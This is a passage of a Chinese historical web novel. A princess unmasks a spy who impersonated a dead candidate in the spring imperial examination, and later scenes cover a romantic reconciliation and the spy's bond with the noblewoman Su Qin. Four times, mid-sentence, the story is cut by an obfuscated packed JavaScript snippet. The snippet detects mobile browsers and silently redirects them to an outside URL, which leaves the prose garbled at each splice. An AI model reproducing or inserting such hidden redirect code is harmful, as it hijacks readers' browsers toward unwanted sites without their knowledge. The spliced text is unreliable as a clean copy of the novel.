“殿下对我的主家，想必早有猜测。” “在苏小姐的分析下，我觉得还是殿下这边，更有成算。” 牧晓出言道：“钳制你的东西，你不在乎了？” “谁不惜命呢？”闻时月抬手掩唇轻笑，“可那暮药师，不是正在殿下和阁主手中么？若是他也没法子，正好说明我没有替主家卖命的必要——他们根本救不了我。到时候，还得仰仗殿下照拂。” “我要你又有何用？”牧晓用审视的目光扫过这个完全没有可信度的专职细作，“就凭你以往的事迹，将你的真实身份经历放出去，自有人来拿你。” 闻时月最恨这种高高在上的审视目光。她在这目光下不自觉咬紧后牙，面上依旧维持着刚才的笑容，但语气中多了几分挑衅的意味：“殿下如此不喜我、不信我，坐在高堂之上，却连直接杀了我的气魄都没有么？当年不曾有，现在也没有。” “有这个必要么？我不做这么多余的事。”牧晓带着轻慢的语气，并不正眼看她。 “殿下不妨听后再判断。”闻时月竭力压下心中涌起的无名怒火，将语调放轻，“有位孤苦伶仃、举目无亲的年轻举子，走出春闱考场后，突发疾病悄声死于客栈中。” “时月不才，这几日已习得他的字迹、熟记他的生平，代他出入行走，毫无破绽。” “殿下在朝中遇到的争议声向来不小。”她狡黠一笑，“若是这个关头，揭露会试中出了一位女扮男装且才华横溢的女考生，或许能撬动朝中对女子入朝的看法。” “依照那名举子的才学，春闱多半榜上有名。” “若是他们允许‘我’参与殿试，那就是给女子为官开了个口子，时月日后定唯殿下马首是瞻；若是他们不许，殿下这时候站出来，将‘我’收入府中，也算一段佳话。” “稳赚不赔的买卖。不知殿下，可有意向？”闻时月换成那名考生的声音，拱手笑问道。 牧晓抬眸看向她，似乎听到了什么很好笑的问题，重复道：“意向？” “正是。”闻时月胸有成竹上前一步，腰弯得更低了。 她不信对方面对这个提议会不心动。 “我的意向么……”牧晓顿了顿，神色沉了下来，盯着闻时月道，“我更希望那名考生安息。” 说完，她缓缓转头看向在一旁已经呆住的苏沁，脸上绽出一个笑容：“看来，时月已经选好下一个想流放的主子了。” “苏小姐，现在轮到我问你。”牧晓轻敲两下桌面，“她在府中同你说的，就是这个么？” 苏沁僵硬地摇摇头：“不是。她说要用她主家的信息，换公主帮助。” “懂了。”牧晓若有所思道，“其实没错。这应该也算是她主家的信息。” “苏小姐听后作何感想？有什么新打算么？现在苏小姐需要脱开的，不仅是延国公府，还有手里这个麻烦。” “苏小姐，”不等苏沁做出反应，闻时月突然开口，“你年纪尚小，受兄嫂指使，派身边人行偷天换日之事，受到赦免的可能性极高。若直接检举是受公主府控制，事成后或许还可得到封赏，完成心愿。” “苏沁！机不可失，时不再来。”闻时月见她犹疑，拔高声调，“你要一生受制于人么？不论如何她现在都杀不了、也不会杀我们！要是我们今日死在公主府，她欺负孤儿寡母、侵吞延国公府的罪名，自然有人替她坐实。” “你在害怕什么！我的计划，她既然不答应，那又有什么好谈的。我这几日做的事，你一无所知是不假，但我就是做了。查出来，你一样逃不了干系。” 闻时月站在堂中，居高临下死死盯住坐在一旁的苏沁道：“我死不足惜。但你想去见你父亲与外祖父么？也想去流放之地受苦受累么？我做这一切都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951720|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是为了……” 苏沁听到这句话后脸色骤然煞白，看她的眼神变得陌生起来，浑身一颤，拼命向后靠去，试图离她远些。 这句话她以前在家中常听。每次都不是什么好回忆。 见苏沁突然变了脸色，闻时月猛然意识到——她不该说这句。她在延国公府待了太久，听了太多这样的话，但万万不该用在这个时候。 进延国公府只是她的任务，与她之前做过的没什么本质上的不同，她也觉得自己从未将那些话放在心上。 原来，她也在被渐渐同化么？ “苏小姐，不用惊慌。”牧晓平静地看着僵持的二人，“她这是怕我直接处理了她，再给你换个侍女带走，才想用‘我们’二字绑了你，好让你坚持带她出去。” “但有一点，她说得没错——我确实杀不了也不会杀你们。” “我这么遵规守纪、明晰律法的人，怎会擅自杀人呢？” 牧晓摇摇头，啧了一声，轻声喃喃道：“毫无破绽？真是敢说。” 随即，她向后一靠，扬声道：“诸位，听够了么？查了我这么多日，前因后果现在都听明白了么？” 原本沉默的苏沁和闻时月，都愣在原地。 堂后，姚尚书与顺天府尹等人缓缓走出。 “遵规守纪？”姚尚书理了理身上的衣袍，意味深长地看了牧晓一眼。 “自然。姚尚书可是都听到了，当年府中进的这个心怀不轨之人，我都没私自处理，还将她好好送出府门。”牧晓起身回礼后答道，“两府之间的账务任朝中清查。” “百听阁是个收容孤儿再合法谋点生计的善堂；闻絮是个在路边以卖草筐为生、偶尔负责商队后勤事务的小姑娘。” “刚才为了逼问，言语多有不妥之处，各位见谅。” “还有什么问题，可随时来问。” “公主府真的，清清白白。” 见闻时月迅速掏出一把匕首，牧晓抬手掐住她的手腕，匕首掉落在地，发出一声脆响。 “时月，谋害朝廷命官，可是要罪加一等。”牧晓望着闻时月眼中的不甘，松了她的手，退开几步，任进来的人将她押走。 “这女子说，公主对幕后主使有所猜测。”姚尚书缓缓开口。 “姚尚书也说，这只是那女子之言。”牧晓稳稳接道，“我没有什么头绪。就是有，也不想干预朝中调查方向。” “那这苏小姐……”有人沉声问。 “若是查出与她有关，自然是要拿的。”牧晓没有去看声音的来源，环视一圈，“除了案情，各位也听了不少我府上家事……”还是该知道些分寸为好。 “现已查到线索，诸位还要聚在此处么？” 等几位官员离开，议事堂中真的只剩她们二人，牧晓转向苏沁，叹息道：“麻烦肯定是少不了的。不过，刚才没说，苏小姐大可不必为自己的婚事担心。” “我与你长兄没有给人乱定亲的毛病。” 54.辗转承诺 “我……她……”苏沁还没缓过神，一时不知是该先道歉还是先道谢。 她将时月带来，本不是为了将事情变成现在这般模样。 这么几位朝中重臣在公主府，她们来之前竟没听到一点风声。 “想问关于闻时月的事么？”牧晓不便与她说太多春闱相关的事，也不想同她再翻与延国公府的旧日恩怨，将话题引到另一个方向上。 苏沁愣愣道：“时月平时并不这样……” “延国公府不是她混进的第一个府邸。京中这些年覆灭的许多府邸中，都曾出现过她的身影。”牧晓见苏沁眸中的光一点一点暗下来，明显浮现出几分“原来如此”的伤怀，顿了顿，将话锋转了个方向，“但她对你大约是动了些真心的。至于动了多少，苏小姐自己判断。” 在闻时月过去的任务里，不断背叛才是常态。 她很少将自己置于极度危险的境地，永远能向外推出挡箭牌，运作计划多以暗示、引导的方式进行，即使被发现，也很难找到能让她一招毙命的理由，明面上只能以失职为由将她赶出。 牧晓的印象中，闻时月从来不会亲自将话说得这样明白。诱导苏沁叙述那个计划、自己站在一旁置身事外，才更符合闻时月的行事风格。 但她这次，不仅没有这样做，还因苏沁望向她的那一眼、扯的那一下衣角，乱了方寸。 “这几日，恐怕苏小姐得暂住公主府，等待朝中审问结果。延国公府的府务，会有专人每日定时递送。”说是“暂住”，实际上就是换个不易向外界传递消息的地方软禁罢了。 说完，牧晓没有再同仍在出神的苏沁多言，转身走出议事堂，留她一人在此处安静翻阅脑海中的过往。 闻时月有一句话说得并不准确。 牧晓从不信任她是真，但并非从一开始就完全不欣赏她。 当年百听阁进的那批孤女中，牧晓印象最深的就是她与闻絮，甚至第一个记住的就是她。 因为她是其中唯一一个连剧烈跑跳都无法做到、单人比武永远直接认输，却总能在多人评试中稳居前列的人。 出于好奇，牧晓亲自去旁观过她参与的一场身份博弈。 那场游戏中，闻时月“恰巧”抽中了一张相府小姐的身份牌。她通过不断诱导“掌权者”设计杀掉威胁最大之人，眼看就要赢得那场游戏，却在监试人将要宣布结果时提出——游戏还没有结束。 她问，为何她的这个身份，纸面上能动用的手段只有“婚嫁”“交谈”“助力”“示弱”这几种，为何她只是活到最后、只是坐上类似太后的位子，就能算赢。 闻时月问，能不能继续这场游戏，并加个规则。她现在确实是一种“掌权者”，但她不甘心做这样的掌权者。若是能夺来他人身份，她有信心赢得更加精彩。 监试人无法对她们言明这其实是场暗中选拔，只需要分出胜负就好，又觉得这个小姑娘只是游戏玩得太过认真，没有采纳她的提议。 而就是因为这场游戏，闻时月成了百听阁中第一位被送进公主府的人。 不出所料，她进府后就开始打探消息，并常借机挑起事端、拨弄风云。 牧晓暗中旁观了一段时间，让露秋挑了她最大的错处，直接赶出府。 闻时月只在最后与她对视一眼，就明白自己的细作身份暴露，满不在乎地问她自己的破绽在哪里。 牧晓当时没有回答——她忙着借这个暴露的细作，直接清一批百听阁的旧人，帮闻笙稳定阁主的位置。 其实闻时月的破绽恰恰在于，她总喜欢把事情逻辑与前因后果推得太严密，自成一种说法，让每件事看起来都像一场正好与她无关、甚至她也是被害者的巧合。 因锋芒毕露被赏识看中，但正因如此，她在完全有能力反抗时却屡屡成为被害者，才显得那样可疑。 现在看来，这种行事风格，与她那位可能的主家简直异曲同工。 · “这位‘突发疾病’的考生，进京后应是受与刘家相关的书院资助，暗中上报古怪之处的，也是这家书院。” “那位刘尚书，曾在请辞后传出将在这家书院传道授业的消息。” “这位考生虽算不得他门下弟子，但有这番牵扯，刘家明面上的态度是不会善罢甘休，定要严惩替代者，并查明那位考生的死亡真相。” “真是什么好事坏事都让刘家占了。”牧晓感慨道，“就算所有人都知道闻时月本是刘家的人，又有什么用呢？” “刘家是把她赶出过家门不错，但理由说得明明白白。现在倒像是有人借闻时月被刘家赶出家门的不平，来合力报复刘家。” “而闻时月这个女扮男装冒名顶替的举动，万一真的成了，正如她所说，我不用插手就能成为受益方。”牧晓想了想，轻笑一声，“别说，我都有点怀疑自己了。” “就算当时没有官员暗中在场，你也不会赞同闻时月的提议。”苏墨清从桌上推给她一本账目，“朝中若是真派人来清算，你当年毁了的部分，准备怎么解释？” “解释？解释什么？”牧晓一只手摁在那本账目上，没有去翻，撑在桌面上笑着看他，“解释一下你那名义上的弟弟当年到底和我说了什么，才让我亲自上手揍他还不解气，派人把他家东西随便往火盆里扔，在场之人还为我没直接放火松了口气？” “还是解释一下我们当年都私相授受了些什么？” “放心，朝中不会真派人来查账。在场那几位甚至会把听到的这件事守口如瓶——知道得太多容易引来杀身之祸。” “你会担心，只是因为没看到当时的……” “嘶，别这样啊。”牧晓看了看对方眸中的神色，摆摆手调侃道，“我刚哄了几句苏沁，怎么，也想让我再哄你几句？” “都到现在这个地步了，过去的就让它过去好了。” 牧晓撑在桌面上的手向前移了移，抓起他放在账本那端的手，贴到脸颊上，对他笑着眨眨眼：“行，哄就哄，不差这么几句话的事。” “怎么会光是为了毁账呢？” “先帝后离世之后，我实在记不得对你说了多少伤人的话。” “我身边人都不敢来。就你，也不知道先避避风头说。” “看我擦宫里带出来的匕首，那么慌张么？上手就抢，说什么都不肯还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959791|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给我，既不还口也不还手。” “明明什么内情都不知道，还想替我拦皇兄的圣旨。” “别人说什么都不管，找各种法子日日登门，见不到我也能在堂中坐一天。” “这还只是我知道的。还有多少我不知道的？嗯？”牧晓凑近问他，“比如，你和你父亲闹到最后那种水火不容的地步，深层原因你解释过。但许多次细碎的诱因呢？” “你了解我，我又何尝不了解你。”牧晓叹了口气，示意他不要打断，“他当年罚了你多少次？要真同我没一点关系，你反倒不会装成什么事都没发生的样子。” “你从不觉得那是我的错，那本来也不是我们的错，只是做了选择，就要承担相应的后果。” “同理，三年前……现在应该说是四年前了。四年前我在京中和西南做的那些，也是我的选择。甚至现在的许多事，也只是当初那些选择的后果。” “我那时只是……后悔了而已。” “我从来都在问你要一句明确的承诺。”牧晓攥着他的手慢慢收紧，“但我自己好像从来都没承诺过什么。” “直到明白真的会失去，才后知后觉。” “所以我后悔了。”她笑了一下，“我能毫不犹豫地做那么多事，但唯独在这件事上迟疑、逃避了太久太久。” “因为有恃无恐。” “从来都是试探性地伸手，然后看我的反应。”牧晓握着他的手从脸颊向下滑到脖颈上停住，微微仰头，露出脆弱的咽喉，“当年气急拔你的剑，架你脖子上让你把匕首还我。现在也还给你。” “不总是暗示我‘不公平’么？” “那就再公平一点。” 牧晓看见他缓缓蹙眉，察觉到他眼中闪过的几分挣扎和纠结，又抬了抬头，笑着走近一点，甚至扣着他的手，示意他完全可以收紧一些。 “我说得根本就不是这个。”令牧晓意外的是，苏墨清迅速挣开了她的手，将手迅速从她的咽喉处移开后，突然上前一步紧紧抱住她，在她耳边低声说，“我不要你还什么，我自己也不会还什么。” “我们两个之间一直纠缠不清，那才最好。” “至于公平，”他短促地笑了一声，“我只是想问你，下次想抱你，能不能直接动手。” “但知道你不习惯太多直接接触，所以一直没问。” “怕你不同意，怕你只是因为不好拒绝而同意，又怕你同意后即使不适也不会再说。” “我又何尝不是一直在逃避，所以这么多年都不敢问你要一个承诺。” “同窗，盟友，甚至是亲人……但这么多关系，”他缓缓重复一句，“这么多关系，都没有一个能让你只属于我，哪怕只是片刻。” “婚约只能做到表面，但做不到让你倾心。”他叹息道。 “是我私心作祟，是我动了别的念头，是我想要的太多太多——我不甘心只做你的盟友。” “然后发现，自己同别人其实也没什么不同。”苏墨清顿了顿，闭了闭眼，下定决心继续说道，“我一样在试图锁住你，甚至比他们更加卑劣。” “从身到心，我都想要。” 55.两全解法 “你及笄那年，那场凯旋宴上，我听他们提及婚约，”苏墨清在她耳边继续低声说，“真想立刻附和，甚至直接自己请个旨意。” “正因如此，我根本不敢抬头与你对视——我明明知道他们只是在……找个赏赐。” “这和当年那本就能称得上下作手段的婚约，没有任何区别。” “但我还是为他们的提议心动，甚至迫不及待想成为他们的帮凶。” 他低了低头，伸手一寸一寸抚过牧晓背后半披着的发丝，带着讽刺意味笑了一声：“宴席间，我就在想，为何会这样。后来发现这答案近在咫尺，只是自己一直心高气傲不愿意承认——我与他们没什么不同，只是想要一个让自己相当有面子的夫人，让你成为我功绩附带的奖赏。” “要你出身高贵，要你美貌动人，要你知书达理，要你聪慧机敏……然后凭着一己私心，将你锁在府邸中，只要我软硬兼施，你谁都见不了，日日围着我一人转，任我摆布。” “但很早以前，就有许多人提醒过我，”他手上的动作停住，“遇到关于你的事，有什么想法，应该先在心里拿出‘公平’二字称量。不是把你放在‘女子’的位置上，而是把你我都当作‘人’——如果我真想和你一起走下去。” “明明最开始相识相知是在学堂间。博闻强识本是为了有明辨是非、深思自省的能力，而不是当成窗上剪彩，只为装饰、炫耀。” 苏墨清慢慢松手，看向对方那双不带任何审视意味、甚至带着一丝温和笑意望着他的眼睛，这次自行抬手抚上她的面颊：“在那婚约的基础上一直装聋作哑、将错就错下去，能有什么好结果？但你身边，还有很多人……” “而我当时，觉得自己什么都能做到，所以什么都不想放手。” “那么多‘可能’里，真的没有能两全其美的解法么？我不信。” “所以，这就是你早在玄岳关那场仗之前几年，就在京城与西南间频繁往来的原因么？”牧晓眸光一闪，缓缓接道，“我在京城府中闭门不出，都能意识到，他们根本就是在消耗你，而不是在培养你。” “什么样的策略与战法，都敢让你去试，间隔和休整养伤时间还那样短。越叠越高的爵位和头衔，纹丝不动的官职……” “过于频繁的参战次数与捷报，所有人都在雀跃。只有……”她微微侧头，垂眸道，“刚开始我也没察觉出什么问题，但越到后来，我越觉得不安。” 到后来，每次听到他回京的消息，牧晓都会直接靠在府门口，蹙眉看着战报等他。 有次见他不得不一直缠到手腕上和脖颈上、藏都藏不住的纱布，忍不住问他：“下次还准备活着回来么？” 接着不出所料，得到对方一如既往的笑言：“自然会。不然昭灵公主不就白等我了？只是包扎方式问题，实际上……” “谁等你……算了，不和伤者计较。自己记得小心些。” “我知道。”苏墨清握起她垂在身侧的手，“没打算让你一直担心下去。玄岳关的最终方略应该是根据之前一次次尝试修出来的，出问题的可能性本不大。本来很快就能毫无顾忌地同你回公主府。” “这次回京，在京郊时你明显不想让你皇兄的人过早知道，我的情况没你报上去的那么糟，不就是怕他继续让我留在西南前线卖命么。” “这点至少现在还不用担心。” “我当年向他提出的方案，没有因为我这几年不在就被彻底废止，甚至在加快推进。” 牧晓抬眸看向他：“别告诉我你又有什么需要拿命去填的危险谋划。如果有，不如先看看我对当下的解法。” “这个已经能称得上和缓了。”苏墨清见她骤然警觉起来，失笑道，“至于‘危险’二字……不是时时刻刻都存在么？” “比如，眼下这个和春闱有关联的事端。” “你不担心闻时月胡乱攀咬些什么吗？” “担心有什么用。这不是完全可以预料到的么？”牧晓顺势放过刚才那个话题，想了想眼前状况，无奈道，“即使我从那次贡院巡视后一直关注春闱相关事务并保持警惕，他们还是找到了这个匪夷所思的角度下手。” “寒门身份女扮男装，一路考到春闱才被揭露……闻时月真觉得这样就能蒙混过关么？她是有暂时伪装成另一人的能耐，但那只是伪装，打几个照面还可以，真放到台面上来仔细打量，肯定是行不通的。” “闻时月能模仿那名考生的声音，肯定早就与那名考生有过接触，说那名考生是‘突发疾病’，就显得相当牵强。” 牧晓仔细回忆闻时月说的话，思索道，“她要获得那个考生的字迹和生平，刘家名下的书院是个值得被怀疑的出处——揭露这个‘考生’被替换后的异状，就是为了自己给自己洗脱嫌疑么？” “实在有些刻意。”苏墨清接道，“刘家一般不喜欢把事宣扬得太大，暗中动手更加常见。” “这样容易引人怀疑他们自导自演。” “不过，那名考生真的死了么？”牧晓觉得有几分古怪，“若是真的，那尸体呢？” “若有尸体，找仵作直接查验死因就是。真是突发疾病，大概会被当成闹剧直接结案；若是他人所害，抓害人者惩处才是正常思路。” “这几位官员并非闲来无事。来来回回在我这里查一圈，却不像认定人是我派人杀的样子。” “他们难道连尸体都未曾找到？” 所以只剩查替代者这条线。 · “我说我不帮你查，有本事自己去公主府问。你还真去了？”姚千宁拍案而起，对着姚尚书道，“听下边人说没线索，你就自己怀疑一个，然后还真自己请密旨带人去查。你不是管礼部的吗？查案这种东西什么时候轮到你上心了？” “是，是和春闱有关，你是有权管；查到昭灵头上，你亲自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964612|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带人悄无声息去还显得体面些……但这是你天天看见他们两个就疑神疑鬼的理由么？” “你不是他们的启蒙先生么？他们对你还不够尊敬么？你自己教出来的学生，你倒是对他们的行事风格道德品行没底了，听朝中人叽叽喳喳说三道四，把你的脑子都糊住了。” “奉旨巡查贡院，重点是后面几个字么？重点是‘奉旨’——你怎么不敢上大殿……” “千宁，冷静些，慎言。”姚尚书见妹妹来找自己，就知道她又来兴师问罪了，“还是那句话，有些事摆到台面上来，对他们不一定是坏事。” “是，所以我前几次都没来找你。”姚千宁随手理了理衣袖继续说道，“你们一个个都和瞎了似的。该查的不查，不能碰的不碰。就你们敲定的那考题，送葬途中那件事，怎么没人去查查那个孩子究竟为什么在那里，为什么就昭灵能看见，那孩子到底是谁，而是只逮着昭灵不松手？” “明摆着有问题的事，你们默不作声，还得让昭灵自己进宫请罪。我是从来不懂你们的，我不知道这何罪之有。” “在往前数，郑……太皇太后新丧那段时间，宫里终于下了点干人事儿的旨意，让昭灵不用忍着不适在那里一直跪着——不适是装的还是真的，我长眼睛了，太医也长眼睛了，就你们一直瞎了，从先帝后丧礼她哭不出，一直数到她这几年违了多少礼……怎么不去想想她这些年为你们挡了多少灾、背了多少事？” “但凡提到有关先皇后的事，你就一点都忍不了。”姚尚书习以为常，慢悠悠道，“这次这件事查到昭灵那里，也因先皇后。” “你们当年练的那批人，不是基本都在公主府么？” “就凭这个？”姚千宁气极反笑，“装什么傻子。你府上也有。” “但这一查，她府上就可以没有。”姚尚书道，“她也不反感我们查验。我亲往查验，断不会构陷栽赃。” “行，什么理都让你们占了。”姚千宁坐回椅上抱臂看着他，“楚家的人是在她手里，但又不在京中。我的生意现在做得多正规，他们现在的身份只会更无可指摘。” 姚尚书见她心里有底，换了个问题：“延国公府与公主府之间的事，你都知道？” 姚千宁笑道：“怎么还和我提起那个府了？我该知道些什么，不该知道些什么，还用得着姚大人知晓？想套我的话？是你又在疑神疑鬼，还是谁托你来问我？” “当年把我随手往那里一嫁，姚家起的什么心思用我明说？姚大人，过河拆桥还要有个度。” “知道你看不惯我现在府上养的人，不时就提一提延国公府，提一提公主府，暗示我现在去哪里都行，好像这样就能让你们高高在上的良心不用摔个七零八落。” “还和我提府邸？姚家的府邸是谁出的钱？欠条我那里还有一摞，还完再找我问东问西也不迟。” 知道她只是不想说，姚尚书亦不再多言。 56.代月轮转 “殿下，陶小姐从姚庄主府上回来，交与我一封书信，让我务必转交。”露秋说罢，将信件递给牧晓。 牧晓放下手中笔，拆开信件快速扫了几眼，捏着信纸边缘的手骤然收紧，转头问露秋：“闻时月，最初是我母亲派到刘家的人？这点你们知道么？” 露秋摇摇头答道：“不知。我当时接手的只有可靠者的信息。若是刘家当年赶出闻时月本就得了先皇后首肯，已是叛者身份，就不会出现在名单上。” “刘家这招玩得巧妙。”牧晓将手中信纸放在桌面上，一下一下轻轻捋平边缘褶皱，“当年暗中插手百听阁事务，除了公主府零星几人知晓，我身边其他人一直不知。我也从未同母亲说过。” “倒是让刘家钻了空子。” “向上报了个叛徒，转手就抹了身份送到我手下。” “怪不得姚尚书要亲自带人来。”这批人事关当年谋朝之策，当然不能宣扬。但先皇后已逝，当年的是是非非，又有谁说得清？只能来公主府象征性询问调查一番，借她之手能给闻时月定罪，而后秘密收场。 “闻时月自己，在审问中招供了什么？”牧晓低头细读信件内容，问道。 “她现在一口咬定去公主府之前，府中早有人同她通风报信，说殿下与她的对话会有朝中官员旁听，务必注意为殿下洗脱罪名。”露秋答道。 “说我自导自演这招不稀奇。她是怎么解释我们对话中那个未落到实处的‘主家’的？”牧晓平静地问道。 “她只说那‘主家’是她自己的虚言，但明显在尽力引向‘公主府想诬陷对方’这个方向。” “她以为我会直接和在场官员提及心中怀疑者，正好借我前段时间与刘家在平良县的恩怨，引人猜测。”牧晓感慨道，“真是难缠。越是不明说，越是坚定与犹疑混杂，就越容易让人信以为真、心生猜忌。” 即使她当时没有直言，但这案子是刘家报的，人是在公主府上抓的，已成定局。要咬定了是有人自导自演，从这两方中出一个接了构陷对方的担子，正合常理。 “……还有什么新消息么？” “殿下之前让我去查那位举子的尸首是否被寻到、死因为何，结果刚刚递来。”露秋顿了顿，慢慢梳理道，“尸首去向已在前几日寻到。寻到尸首去向的时间早于闻时月登公主府门。” “但即使搜寻到具体去向，寻到剩余尸首，也无法判断死因。” 牧晓抬眸看向她。 “尸首已被推进熔炉。” “那熔炉与平良县处理矿产一线相连，与刘家暗中相关。” “顺天府尹会同姚尚书一同来公主府，就因这焚尸的处理方式。”露秋未曾跟去西南，对玄岫城中事不甚清楚，犹豫几息后道，“似乎是说，殿下在玄岫城中，用过这种方式。” 牧晓沉默片刻后，叹息道：“是用过。用来处理过城中因瘟疫堆积的尸首。” 当时天气过于寒冷，冻土开挖掩埋费时费力，且掩埋不深。 最后，不得已用了城中尚能点起的熔炉处理尸体。 外层余热能供仍存活的百姓取暖。 能想到这点，是因不论是在牧府还是在宫中，余长欣的案头常放着一本《墨子》。 她在等余长欣时，百无聊懒间反反复复读了太多次。 “秦之西有仪渠之国者，其亲戚死，聚柴薪而焚之，燻上，谓之登遐，然后成为孝子(1)。” 秦国西边有个仪渠国，在亲属去世后，堆积柴草焚烧尸体，烟气上升，便称死者羽化登仙，这才算是孝子。 牧晓本就记得这句话。这句与当朝前朝的风俗习惯都大相径庭的方法。 而在先帝去世前，她跪在榻边，再次听到这句话作为先帝遗言，被先帝亲口讲出。 这是先帝从未被执行的遗命。 当时榻前所有跪者皆低头不敢应声。 只有牧晓，不动声色地微微偏头，看了一眼面带哀容的余长欣。 这种处理尸体的方法，在她脑中的印象更加深刻。 原著中不以这种方式为仁义之道，认为只是在迎合地方风俗习惯。 但在玄岫城中，即使逆着风俗习惯，她还是那样做了。 她站在火光前，久久凝望如心脏般起伏跳动的火焰寸寸吞噬掉一具具尸骸，耳边半是逝者亲友夹杂着“死无全尸”“不得好死”“死不瞑目”之类的哀嚎，半是取暖百姓伸展四肢时发出的庆幸叹慰。 牧晓放在桌上的手不断攥紧，脑中渐渐浮现一个想法： 这场纠缠不清、是非难辨的春闱闹剧，真的有所谓的“幕后主使”么？ 越是复杂的计谋，往往越容易出现破绽，或是在关键时刻出现纰漏。 而这次，所有局中人都在慌乱，甚至称得上都在连滚带爬、如行雾里。 她是这样，刘家是这样，查案者是这样，闻时月自己这次都好不到哪里去。 举子，春闱，闻时月，苏沁，府邸…… 牧晓静静掂量片刻，起身对露秋说：“苏沁现在哪个院中？我有事问她。” · 苏沁在院中的这几日，因为身边空无一人，内心反倒比在延国公府时更加平静。 在延国公府时，时月几乎每日每夜都跟在她身边。 刚开始，只是在她处理府务时端茶倒水，讲几句好听的话，在小憩时与入睡前为她讲些坊间流传的新话本。 等到寒气渐渐浸满整个府邸，苏沁将手缩向袖中，觉得这个冬日与以往相比，实在冷了太多太多。 她有些后悔府中裁撤了那样多的人，地龙都烧得不似往年那样旺。 因她不喜吵闹，留下的人多半聚在她母亲身边。 时月不知在府中何处，多半也去她母亲那边取暖了吧？ 苏沁早就习惯了这样被忽视的日子，也不想苛责这个她强留在身边陪伴的侍女什么，自己起身，准备去加一件更厚的外衣，再回来继续算这剪不断理还乱的账。 她推开门，朔风灌进衣襟内，抬眼想望一望天色，却发现时月站在门口，正要伸手推门进屋。 双方都是一愣。 还是时月先反应过来，一步跨进屋，关上门，将手中更暖和的手炉塞给她，一展搭在臂弯上的棉披风，直接将她围住，柔声道：“奴家只是去小姐院中拿些东西。雪天路滑，走得慢了些。小姐穿得这样少，怎能自己出门？是奴家照顾不周……” “奉上前几日出门买的新奇物件，给小姐赔罪。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970414|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完，时月掏出各种各样的荷包，面带心痛不舍之色，让苏沁自己挑一个，只能挑一个。 苏沁总会被她这些鬼点子逗笑。知道府中给她的月例并不多，每次随手收一个，再从自己账上多给她补些银两。 那夜，雪与雷声一同从远处闷声蔓延到府邸上空。 在炉火旁，时月讲完了话本故事，问小姐还想听什么。 苏沁问，能不能讲讲她自己儿时的故事。生长在延国公府，有母亲时刻在旁看着，没什么能出去的机会；现在无人再拦她出门，这天又实在太冷，她反倒不想出门了。 能言善辩的时月罕见地沉默了。 不过并没有沉默太长时间，时月就同往常一样笑了起来。 温柔的声音代替被云层遮蔽的月光，洒在窗棱上。 往年，苏沁常感冬日漫长，而这个在账目与故事间颠倒轮转的冬日，是她经历过最充盈、最短暂的一个。 外界在为太皇太后披麻戴孝，母亲在挣扎间为外祖父上香。 可苏沁的心，在一日又一日的轮转间滚烫翻涌起来，听到母亲做出要去流放之地的决定，没有心寒，反倒在更加炽热地燃烧。 不论这府中的账有多么不堪入目，不论前来试探者说的话有多不堪入耳，总有时月在一旁柔声帮她一点点解开心中纠缠的线球，在将那线球编成她从未想象过的模样，再打开窗，让她直接扔出去。 冬雪终化，春日且行且至。 苏沁对时月说，她想要一个独属于自己的苏府。 时月相当支持，并说，想到了一个或许能帮她的办法。 “她问我，想不想从春闱举子中招一个乖顺听话的夫婿。”苏沁垂眸道，“她说她有能力帮我挑一个，还能探出对方的人品。” “而我可以找机会进公主府，求公主主婚。” “探了几日都算满意，但有一日，她突然很沮丧，说那人考完春闱就倒在房间里没出来。” “再往后几日，我不常在白日里见她。” “但她在一日夜里，向我吐露了真实身份，让我不用慌，一切有她。” “直到公主请我们来府的那日。” 牧晓听后意识到，闻时月在公主府那日，其实并没有说谎。 那举子，多半是真的突发疾病。 但闻时月不甘心，也不想辜负苏沁为公主府参试花的心血，借这么多年在刘家攒下来的人脉暗线，拿到那考生的生平、字迹，烧了他的尸身，想要奋力一搏。 搏赢了，她就可以完全摆脱多年以来的细作身份，将两个前东家玩弄于股掌之间，替了那考生的功名，光明正大地站在苏沁身边。 